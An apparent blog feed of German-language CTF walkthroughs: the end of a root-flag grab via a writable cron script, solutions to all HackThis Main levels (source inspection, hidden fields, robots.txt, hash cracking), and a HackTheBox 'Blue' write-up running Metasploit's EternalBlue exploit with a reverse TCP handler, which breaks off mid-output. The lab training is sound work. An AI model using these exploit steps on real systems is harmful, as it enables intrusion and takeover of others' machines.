<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>os.system<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;cat /root/root.txt &gt; /tmp/m10x.txt&#39;</span><span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Wenn wir nun ein wenig warten, wird <strong>tmp.py</strong> ausgeführt und unter <strong>/tmp/m10x.txt</strong> können wir dann den Root-Hash finden. Anscheinend ist <strong>/opt/tmp.py</strong> ein Cron-Job!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#e6db74">${</span>debian_chroot:+($debian_chroot)<span style="color:#e6db74">}</span>mindy@solidstate:~$ ls /tmp/
</span></span><span style="display:flex;"><span>m10x.txt
</span></span><span style="display:flex;"><span><span style="color:#e6db74">${</span>debian_chroot:+($debian_chroot)<span style="color:#e6db74">}</span>mindy@solidstate:~$ cat /tmp/m10x.txt
</span></span><span style="display:flex;"><span>b4c#########ZENSIERT#########7c9
</span></span></code></pre></div><p>Der User-Hash befindet sich unter <strong>/home/mindy/user.txt</strong>.</p>
<p>Vielen Dank für&rsquo;s durchlesen. :D</p>
]]></content></item><item><title>HackThis - Alle Main Level Walkthrough | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/01/hackthis-alle-main-level-walkthrough-tipps--anleitung/</link><pubDate>Tue, 23 Jan 2018 20:39:56 +0100</pubDate><guid>https://m10x.de/posts/2018/01/hackthis-alle-main-level-walkthrough-tipps--anleitung/</guid><description>Walkthrough | Tipps + Anleitung zu allen Main Levels 1-10 von HackThis. Die Main Level gehören zu dein einfacheren von HackThis.
Video Level 1 Drücke Strg + u um den Quelltext der Seite anzuzeigen. Achte auf Kommentare im Quelltext.
Zuerst sehen wir uns den Quelltext an, indem wir Strg + u drücken.
In Zeile 29 finden wir folgendes: Einfacher geht es wohl kaum.
Level 2 Suche in dem Quelltext nach einem bestimmten Begriff.</description><content type="html"><![CDATA[<p>Walkthrough | Tipps + Anleitung zu allen Main Levels 1-10 von <a href="https://www.hackthis.co.uk/levels/Main">HackThis</a>. Die Main Level gehören zu dein einfacheren von <a href="https://www.hackthis.co.uk/levels/Main">HackThis</a>.</p>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=G7O8Zh9dPbk"><img alt="Kurzes Video Walkthrough ohne Erklärunge" src="http://img.youtube.com/vi/G7O8Zh9dPbk/0.jpg"></a></p>
<h2 id="level-1"><strong>Level 1</strong></h2>
<p>Drücke <strong>Strg + u</strong> um den Quelltext der Seite anzuzeigen. Achte auf Kommentare im Quelltext.</p>
<p>Zuerst sehen wir uns den Quelltext an, indem wir <strong>Strg + u</strong> drücken.<br>
In Zeile 29 finden wir folgendes:  <strong><!-- raw HTML omitted --></strong><br>
Einfacher geht es wohl kaum.</p>
<h2 id="level-2"><strong>Level 2</strong></h2>
<p>Suche in dem Quelltext nach einem bestimmten Begriff.</p>
<p>Nutzername und Passwort sind diesmal wieder im Quelltext zu finden. Diesmal aber nicht direkt am Anfang des Quelltextes.<br>
Die richtigen Zeilen finden wir schnell, wenn wir z.B. nach <strong>levelform</strong> suchen.<br>
In Zeile 868 und 870 können wir sehen, dass jeweils hinter dem <strong>user</strong> und <strong>password</strong> Label, der richtige Nutzername und das richtige Password in schwarz stehen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user&#34;</span>&gt;Username:&lt;/<span style="color:#f92672">label</span>&gt; &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;color: #000000&#34;</span>&gt;resu&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">label</span> <span style="color:#a6e22e">for</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user&#34;</span>&gt;Password:&lt;/<span style="color:#f92672">label</span>&gt; &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;color: #000000&#34;</span>&gt;ssap&lt;/<span style="color:#f92672">span</span>&gt;
</span></span></code></pre></div><h2 id="level-3"><strong>Level 3</strong></h2>
<p>Suche nach Javascript im Quelltext und sieh dir die Funktionen an.</p>
<p>Wieder stehen Nutzername und Passwort als Klartext im Quelltext.<br>
In Zeile 41 sehen wir eine interessante Javascript-Funktion.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;user&#39;</span>).<span style="color:#a6e22e">value</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;heaven&#39;</span> <span style="color:#f92672">&amp;&amp;</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;pass&#39;</span>).<span style="color:#a6e22e">value</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;hell&#39;</span>) { }
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span> { <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>(); <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#39;Incorrect login&#39;</span>) }
</span></span></code></pre></div><h2 id="level-4"><strong>Level 4</strong></h2>
<p>Die Lösung bei diesem Level ist in einem verstecken Feld (= hidden field) zu finden.<br>
Suche in dem Quelltext doch mal nach <strong>hidden</strong>.</p>
<p>Durchsuchen wir den Quelltext doch zuerst wieder nach <strong>level-form</strong>.<br>
Diesmal ist ein verstecktes Feld zu sehen mit dem Wert <strong>../../extras/ssap.xml</strong>.<br>
Besuchen wir doch mal <a href="https://www.hackthis.co.uk/levels/extras/ssap.xmlhttps://www.hackthis.co.uk/levels/extras/ssap.xml">https://www.hackthis.co.uk/levels/extras/ssap.xml</a>&hellip;</p>
<h2 id="level-5"><strong>Level 5</strong></h2>
<p>Sieh dir wieder den Quelltext bei der Klasse <strong>level-form</strong> an.</p>
<p>Zuerst suchen wir wieder im Quelltext nach <strong>level-form</strong>. Von Zeile 867 bis 871 ist eine Javascript-Funktion zu sehen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">pass</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">pass</span><span style="color:#f92672">=</span><span style="color:#a6e22e">prompt</span>(<span style="color:#e6db74">&#34;Password&#34;</span>,<span style="color:#e6db74">&#34;&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">pass</span><span style="color:#f92672">==</span><span style="color:#e6db74">&#34;9286jas&#34;</span>) {
</span></span><span style="display:flex;"><span>window.<span style="color:#a6e22e">location</span>.<span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/levels/main/5?pass=9286jas&#34;</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Das Passwort ist also <strong>9286jas</strong>.</p>
<h2 id="level-6"><strong>Level 6</strong></h2>
<p>Du musst einen Weg senden ein POST-Request zu senden, mit dem Parameter <strong>user=Ronald</strong>.<br>
Alternativ kannst du auch die Form verändern (F12).</p>
<p>Hier gibt es zwei verschiedene Lösungsmöglichkeiten.<br>
Zum einen können wir ein POST-Request senden mit dem Parameter <strong>user=Ronald</strong>.<br>
Um sehr einfach ein POST request zu machen, kann man ein Browser-Plugin dafür benutzen.<br>
Firefox Quantum: <a href="https://addons.mozilla.org/de/firefox/addon/new-hackbar/">New Hackbar</a><br>
Firefox Älter: <a href="https://addons.mozilla.org/de/firefox/addon/hackbar/">Hackbar</a><br>
Google Chrome: <a href="https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop">Postman</a><br>
Ich verwende Firefox Quantum mit dem &ldquo;New Hackbar&rdquo; Plugin dafür benutzen, was du benutzt, ist natürlich dir überlassen.</p>
<p>Eine weitere Möglichkeit ist es den Inspektor von Firefox ( oder auch Google Chrome ) zu benutzen. Drücke <strong>F12</strong> oder <strong>Rechtsklick</strong> &gt; <strong>Element untersuchen</strong> um diesen zu öffnen.<br>
Nun können wir bei dem Listen-Feld den aktuell ausgewählten Benutzernamen mit einem Doppelklick bearbeiten und <strong>Ronald</strong> einsetzen.<br>
Danach einfach auf <strong>Submit</strong> klicken.</p>
<h2 id="level-7"><strong>Level 7</strong></h2>
<p>Die Seite mit der Text-Datei kann nicht von Suchmaschinen gefunden werden, da Bots ausgeschlossen wurden.<br>
Wie wurde das wohl gemacht?</p>
<p>Der Tipp ist folgender: Die Seite mit der Text-Datei kann nicht von Suchmaschinen gefunden werden, da Bots ausgeschlossen wurden.<br>
Sehen wir uns doch mal die <a href="https://www.hackthis.co.uk/robots.txt">robots.txt</a> Datei an, welche bestimmte User-Agenten ausschließen kann, z.B. auch die Bots von Suchmaschinen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Disallow: /levels/extras/userpass.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Das sieht doch nach etwas aus mit dem wir was anfangen können.<br>
Wenn wir <a href="https://www.hackthis.co.uk/levels/extras/userpass.txt">https://www.hackthis.co.uk/levels/extras/userpass.txt</a> öffnen finden wir</p>
<p>Nutzername: <strong>48w3756</strong><br>
Passwort: <strong>u3qh458</strong></p>
<h2 id="level-8"><strong>Level 8</strong></h2>
<p>Es ist wieder ein verstecktes Feld vorhanden. Rechne die Binär Zahl zu Hexadezimal um.</p>
<p>Es ist wieder ein verstecktes Feld vorhanden. Suche nach <strong>hidden</strong> um es zu finden.<br>
Der Wert des Feldes leitet uns zu <a href="https://www.hackthis.co.uk/levels/extras/secret.txt">https://www.hackthis.co.uk/levels/extras/secret.txt</a> weiter.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#ae81ff">1011</span> <span style="color:#ae81ff">0000</span> <span style="color:#ae81ff">0000</span> <span style="color:#ae81ff">1011</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1111</span> <span style="color:#ae81ff">1110</span> <span style="color:#ae81ff">1110</span> <span style="color:#ae81ff">1101</span>
</span></span></code></pre></div><p>Was wir gefunden haben sind 2 Binär Zahlen. Rechnen wir diese doch in Hexadezimal um.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#ae81ff">1011</span> <span style="color:#ae81ff">0000</span> <span style="color:#ae81ff">0000</span> 1011 <span style="color:#f92672">=</span> B00B
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1111</span> <span style="color:#ae81ff">1110</span> <span style="color:#ae81ff">1110</span> 1101 <span style="color:#f92672">=</span> FEED
</span></span></code></pre></div><h2 id="level-9"><strong>Level 9</strong></h2>
<p>Bei diesem Level geht es darum die richtige Email herauszufinden&hellip;<br>
Oder deine eigene Email zur richtigen zu machen.</p>
<p>Hier gibt es wieder verschiedene Möglichkeiten.<br>
Wenn wir uns den Quelltext ansehen können wir ein verstecktes Feld mit dem Wert <strong><a href="mailto:admin@hackthis.co.uk">admin@hackthis.co.uk</a></strong> finden. Welche die &ldquo;richtige&rdquo; Email ist um das Level zu bestehen.</p>
<p>Allerdings können wir den Wert dieses Feldes auch mit dem Inspektor ( F12 bei Firefox / Chrome ) bearbeiten, sodass unsere eigene Email die richtige ist.</p>
<p>Ein weiterer Weg ist es mit Burp unseren HTTP-Verkehr abzufangen und dann mit Hilfe von Burp den Wert von <strong>email2</strong> zu unserer Email zu verändern.</p>
<h2 id="level-10"><strong>Level 10</strong></h2>
<p>Suche nach einem versteckten Feld und finde eine Möglichkeit die Hashes zu cracken.</p>
<p>Im Quelltext können wir wieder ein verstecktes Feld finden, mit dem Wert <strong>level10pass.txt</strong>.<br>
Bei <a href="https://www.hackthis.co.uk/levels/extras/level10pass.txt">https://www.hackthis.co.uk/levels/extras/level10pass.txt</a> finden wir 2 Hashes.</p>
<p><strong>69bfe1e6e44821df7f8a0927bd7e61ef208fdb25deaa4353450bc3fb904abd52</strong><br>
und<br>
<strong>f1abe1b083d12d181ae136cfc75b8d18a8ecb43ac4e9d1a36d6a9c75b6016b61</strong></p>
<p>Mit Hilfe von <a href="https://crackstation.net/">https://crackstation.net/</a> können wir diese beiden Hashes cracken lassen.<br>
Das Ergebnis ist:</p>
<p><strong>carl</strong><br>
<strong>guess</strong></p>
<p>Somit haben wir alle Main Level von Hack This geschafft! :D<br>
Vielen Dank für&rsquo;s lesen.</p>
]]></content></item><item><title>HackTheBox - Blue WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/01/hackthebox-blue-writeup-tipps--anleitung/</link><pubDate>Sat, 13 Jan 2018 20:00:56 +0100</pubDate><guid>https://m10x.de/posts/2018/01/hackthebox-blue-writeup-tipps--anleitung/</guid><description>Blue ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. Blue gehört zu den einfacheren Maschinen von HackTheBox und ist deswegen sehr gut für Anfänger geeignet. Aber auch für Erfahrene, die eine Herausforderung für zwischendurch suchen.
Tipps nmap -A zeigt uns deutlich auf welchen Port wir achten müssen Der Name der Maschine, Blue, ist ein Tipp Wenn wir wissen was die Schwachstelle ist, ist Metasploit unser Freund. Wenn der Exploit fehlschlagen sollte, überprüfe deine Einstellungen und versuche es noch ein paar Mal.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/51">Blue</a> ist eine der vielen Verfügbaren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. <a href="https://www.hackthebox.eu/home/machines/profile/51">Blue</a> gehört zu den einfacheren Maschinen von <a href="https://hackthebox.eu/">HackTheBox</a> und ist deswegen sehr gut für Anfänger geeignet. Aber auch für Erfahrene, die eine Herausforderung für zwischendurch suchen.</p>
<p><a href="https://imgur.com/J7Ulmet"><img alt="difficulty" src="https://imgur.com/J7Ulmet.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li><strong>nmap -A</strong> zeigt uns deutlich auf welchen Port wir achten müssen</li>
<li>Der Name der Maschine, <strong>Blue</strong>, ist ein Tipp</li>
<li>Wenn wir wissen was die Schwachstelle ist, ist Metasploit unser Freund.</li>
<li>Wenn der Exploit fehlschlagen sollte, überprüfe deine Einstellungen und versuche es noch ein paar Mal.<br>
Ansonsten kann auch ein Reset von <strong>Blue</strong> helfen.</li>
</ul>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=qo2WI_vrIGA"><img alt="kurzes video walkthrough" src="http://img.youtube.com/vi/qo2WI_vrIGA/0.jpg"></a></p>
<h2 id="anleitung--walkthrough"><strong>Anleitung / Walkthrough</strong></h2>
<p>Als erstes machen wir wie gewohnt einen Nmap-Scan. Dabei benutzen wir die Option <strong>-A</strong> um das Betriebssystem und ebenfalls die Services herauszufinden, welche auf den jeweiligen Ports laufen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A 10.10.10.40
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting Nmap 7.60 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2018-01-10 11:10 CET
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.10.40
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.14s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">991</span> closed ports
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>135/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>139/tcp open netbios-ssn Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp open microsoft-ds Windows <span style="color:#ae81ff">7</span> Professional <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> microsoft-ds <span style="color:#f92672">(</span>workgroup: WORKGROUP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>49152/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49153/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49154/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49155/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49156/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49157/tcp open msrpc Microsoft Windows RPC
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">2</span> hops
</span></span><span style="display:flex;"><span>Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>| smb-os-discovery:
</span></span><span style="display:flex;"><span>| OS: Windows <span style="color:#ae81ff">7</span> Professional <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>Windows <span style="color:#ae81ff">7</span> Professional 6.1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
</span></span><span style="display:flex;"><span>| Computer name: haris-PC
</span></span><span style="display:flex;"><span>| NetBIOS computer name: HARIS-PC<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>| Workgroup: WORKGROUP<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>|_ System time: 2018-01-10T10:11:48+00:00
</span></span><span style="display:flex;"><span>| smb-security-mode:
</span></span><span style="display:flex;"><span>| account_used: guest
</span></span><span style="display:flex;"><span>| authentication_level: user
</span></span><span style="display:flex;"><span>| challenge_response: supported
</span></span><span style="display:flex;"><span>|_ message_signing: disabled <span style="color:#f92672">(</span>dangerous, but default<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| smb2-security-mode:
</span></span><span style="display:flex;"><span>| 2.02:
</span></span><span style="display:flex;"><span>|_ Message signing enabled but not required
</span></span><span style="display:flex;"><span>| smb2-time:
</span></span><span style="display:flex;"><span>| date: 2018-01-10 11:11:49
</span></span><span style="display:flex;"><span>|_ start_date: 2018-01-10 09:45:10
</span></span></code></pre></div><p>Anscheinend ist das Betriebssystem Windows 7 mit dem Service Pack 7. Auf Port 445 scheint <a href="https://de.wikipedia.org/wiki/Server_Message_Block">SMB</a> zu laufen.</p>
<p>Benutzen wir doch mal <strong>searchsploit</strong> um nach Schwachstellen für <a href="https://de.wikipedia.org/wiki/Server_Message_Block">SMB</a> bei Windows 7 zu suchen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# searchsploit windows <span style="color:#ae81ff">7</span> smb
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>Exploit Title
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Microsoft Windows Windows 7/2008 R2 <span style="color:#f92672">(</span>x64<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;EternalBlue&#39;</span> SMB Remote Code Execution <span style="color:#f92672">(</span>MS17-010<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - <span style="color:#e6db74">&#39;EternalBlue&#39;</span> SMB Remote Code Execution <span style="color:#f92672">(</span>MS17-010<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Microsoft Windows Windows 8/8.1/2012 R2 <span style="color:#f92672">(</span>x64<span style="color:#f92672">)</span> - <span style="color:#e6db74">&#39;EternalBlue&#39;</span> SMB Remote Code Execution <span style="color:#f92672">(</span>MS17-010<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------
</span></span></code></pre></div><p>Diese 3 Zeilen klingen besonders interessant. <strong>&lsquo;EternalBlue&rsquo; SMB Remote Code Execution (MS17-010)</strong>.<br>
<a href="https://de.wikipedia.org/wiki/EternalBlue">EternalBlue</a> scheint der richtige Weg zu sein.</p>
<p>Mal sehen ob Metasploit ein Modul für <a href="https://de.wikipedia.org/wiki/EternalBlue">EternalBlue</a> hat.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>msf &gt; use exploit/windows/smb/
</span></span><span style="display:flex;"><span>use exploit/windows/smb/generic_smb_dll_injection
</span></span><span style="display:flex;"><span>use exploit/windows/smb/group_policy_startup
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ipass_pipe_exec
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms03_049_netapi
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms04_007_killbill
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms04_011_lsass
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms04_031_netdde
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms05_039_pnp
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms06_025_rasmans_reg
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms06_025_rras
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms06_040_netapi
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms06_066_nwapi
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms06_066_nwwks
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms06_070_wkssvc
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms07_029_msdns_zonename
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms08_067_netapi
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms10_061_spoolss
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms15_020_shortcut_icon_dllloader
</span></span><span style="display:flex;"><span>use exploit/windows/smb/ms17_010_eternalblue
</span></span><span style="display:flex;"><span>use exploit/windows/smb/netidentity_xtierrpcpipe
</span></span><span style="display:flex;"><span>use exploit/windows/smb/psexec
</span></span></code></pre></div><p>Tatsächlich! <strong>use exploit/windows/smb/ms17_010_eternalblue</strong> Das macht es für uns einfach!</p>
<p>Laden wir das Modul und sehen uns die Optionen an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>msf &gt; use exploit/windows/smb/ms17_010_eternalblue
</span></span><span style="display:flex;"><span>msf exploit<span style="color:#f92672">(</span>windows/smb/ms17_010_eternalblue<span style="color:#f92672">)</span> &gt; show options
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Module options <span style="color:#f92672">(</span>exploit/windows/smb/ms17_010_eternalblue<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Name  Current Setting Required Description
</span></span><span style="display:flex;"><span>----  --------------- -------- -----------
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>RHOST                          The target address
</span></span><span style="display:flex;"><span>RPORT <span style="color:#ae81ff">445</span>                      The target port <span style="color:#f92672">(</span>TCP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Der Port ist schon richtig eingestellt. Deswegen müssen wir nur noch <strong>RHOST</strong> auf die IP-Adresse von Blue setzen und mit dem Befehl <strong>exploit</strong> starten.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>msf exploit<span style="color:#f92672">(</span>windows/smb/ms17_010_eternalblue<span style="color:#f92672">)</span> &gt; set RHOST 10.10.10.40
</span></span><span style="display:flex;"><span>RHOST <span style="color:#f92672">=</span>&gt; 10.10.10.40
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf exploit<span style="color:#f92672">(</span>windows/smb/ms17_010_eternalblue<span style="color:#f92672">)</span> &gt; exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Started reverse TCP handler on 10.10.14.254:4444
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Connecting to target <span style="color:#66d9ef">for</span> exploitation.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - Connection established <span style="color:#66d9ef">for</span> exploitation.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - Target OS selected valid <span style="color:#66d9ef">for</span> OS indicated by SMB reply
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - CORE raw buffer dump <span style="color:#f92672">(</span><span style="color:#ae81ff">42</span> bytes<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - 0x00000000 <span style="color:#ae81ff">57</span> <span style="color:#ae81ff">69</span> 6e <span style="color:#ae81ff">64</span> 6f <span style="color:#ae81ff">77</span> <span style="color:#ae81ff">73</span> <span style="color:#ae81ff">20</span> <span style="color:#ae81ff">37</span> <span style="color:#ae81ff">20</span> <span style="color:#ae81ff">50</span> <span style="color:#ae81ff">72</span> 6f <span style="color:#ae81ff">66</span> <span style="color:#ae81ff">65</span> <span style="color:#ae81ff">73</span> Windows <span style="color:#ae81ff">7</span> Profes
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - 0x00000010 <span style="color:#ae81ff">73</span> <span style="color:#ae81ff">69</span> 6f 6e <span style="color:#ae81ff">61</span> 6c <span style="color:#ae81ff">20</span> <span style="color:#ae81ff">37</span> <span style="color:#ae81ff">36</span> <span style="color:#ae81ff">30</span> <span style="color:#ae81ff">31</span> <span style="color:#ae81ff">20</span> <span style="color:#ae81ff">53</span> <span style="color:#ae81ff">65</span> <span style="color:#ae81ff">72</span> <span style="color:#ae81ff">76</span> sional <span style="color:#ae81ff">7601</span> Serv
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - 0x00000020 <span style="color:#ae81ff">69</span> <span style="color:#ae81ff">63</span> <span style="color:#ae81ff">65</span> <span style="color:#ae81ff">20</span> <span style="color:#ae81ff">50</span> <span style="color:#ae81ff">61</span> <span style="color:#ae81ff">63</span> 6b <span style="color:#ae81ff">20</span> <span style="color:#ae81ff">31</span> ice Pack <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 10.10.10.40:445 - Target arch selected valid <span style="color:#66d9ef">for</span> arch indicated by DCE/RPC reply
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Trying exploit with <span style="color:#ae81ff">12</span> Groom Allocations.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 10.10.10.40:445 - Sending all but last fragment of exploit packet
